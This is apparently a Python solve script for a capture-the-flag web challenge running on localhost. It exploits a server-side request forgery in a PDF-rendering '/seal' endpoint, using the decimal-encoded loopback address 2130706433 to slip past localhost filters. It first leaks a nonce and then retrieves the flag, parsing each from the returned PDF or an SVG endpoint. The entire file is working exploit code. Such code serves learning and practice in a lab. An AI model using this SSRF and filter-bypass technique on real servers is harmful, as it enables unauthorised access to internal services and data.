137 lines
3.6 KiB
Python
137 lines
3.6 KiB
Python
import io
|
|
import re
|
|
import sys
|
|
import time
|
|
|
|
import requests
|
|
|
|
|
|
BASE_URL = "http://127.0.0.1:8000"
|
|
SSRF_META_URL = "http://2130706433/meta"
|
|
SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}"
|
|
|
|
|
|
def build_scroll(rid: str, mode: str, url: str) -> str:
|
|
return (
|
|
f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n'
|
|
f""
|
|
)
|
|
|
|
|
|
def get_rid(session: requests.Session) -> str:
|
|
resp = session.get(f"{BASE_URL}/")
|
|
resp.raise_for_status()
|
|
rid = session.cookies.get("rune_rid")
|
|
if not rid:
|
|
raise RuntimeError("rune_rid cookie not found. Open / in browser once.")
|
|
return rid
|
|
|
|
|
|
def seal_scroll(session: requests.Session, content: str) -> bytes:
|
|
resp = session.post(f"{BASE_URL}/seal", data={"content": content})
|
|
if resp.status_code != 200:
|
|
raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}")
|
|
return resp.content
|
|
|
|
|
|
def extract_text_from_pdf(data: bytes) -> str:
|
|
try:
|
|
import PyPDF2 # type: ignore
|
|
except Exception:
|
|
return ""
|
|
|
|
try:
|
|
reader = PyPDF2.PdfReader(io.BytesIO(data))
|
|
except Exception:
|
|
return ""
|
|
|
|
texts = []
|
|
for page in reader.pages:
|
|
try:
|
|
texts.append(page.extract_text() or "")
|
|
except Exception:
|
|
continue
|
|
return "\n".join(texts)
|
|
|
|
|
|
def extract_nonce_from_pdf(data: bytes) -> str:
|
|
text = extract_text_from_pdf(data)
|
|
if text:
|
|
match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text)
|
|
if match:
|
|
return match.group(0)
|
|
|
|
# Fallback: brute-search tokens in raw PDF bytes.
|
|
raw = data.decode("latin1", errors="ignore")
|
|
candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw)
|
|
if candidates:
|
|
return candidates[0]
|
|
raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.")
|
|
|
|
|
|
def extract_flag_from_pdf(data: bytes) -> str:
|
|
text = extract_text_from_pdf(data)
|
|
if text:
|
|
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text)
|
|
if match:
|
|
return match.group(0)
|
|
|
|
raw = data.decode("latin1", errors="ignore")
|
|
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw)
|
|
if match:
|
|
return match.group(0)
|
|
raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.")
|
|
|
|
|
|
def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str:
|
|
resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what})
|
|
resp.raise_for_status()
|
|
svg = resp.text
|
|
match = re.search(r"<text[^>]*>([^<]+)</text>", svg)
|
|
if match:
|
|
return match.group(1).strip()
|
|
raise RuntimeError("Failed to extract value from SVG.")
|
|
|
|
|
|
def main() -> int:
|
|
global BASE_URL
|
|
if len(sys.argv) > 1:
|
|
base_url = sys.argv[1].rstrip("/")
|
|
else:
|
|
base_url = BASE_URL
|
|
|
|
BASE_URL = base_url
|
|
|
|
session = requests.Session()
|
|
|
|
rid = get_rid(session)
|
|
print(f"[+] rid = {rid}")
|
|
|
|
# Step 1: get nonce via oracle
|
|
scroll_meta = build_scroll(rid, "meta", SSRF_META_URL)
|
|
pdf_meta = seal_scroll(session, scroll_meta)
|
|
|
|
# Prefer extracting from PDF; fallback to /etch if parsing fails.
|
|
try:
|
|
nonce = extract_nonce_from_pdf(pdf_meta)
|
|
except Exception:
|
|
nonce = fetch_svg_text(session, rid, "meta")
|
|
|
|
print(f"[+] nonce = {nonce}")
|
|
|
|
# Step 2: get flag
|
|
scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce))
|
|
pdf_flag = seal_scroll(session, scroll_flag)
|
|
|
|
try:
|
|
flag = extract_flag_from_pdf(pdf_flag)
|
|
except Exception:
|
|
flag = fetch_svg_text(session, rid, "flag")
|
|
|
|
print(f"[+] flag = {flag}")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|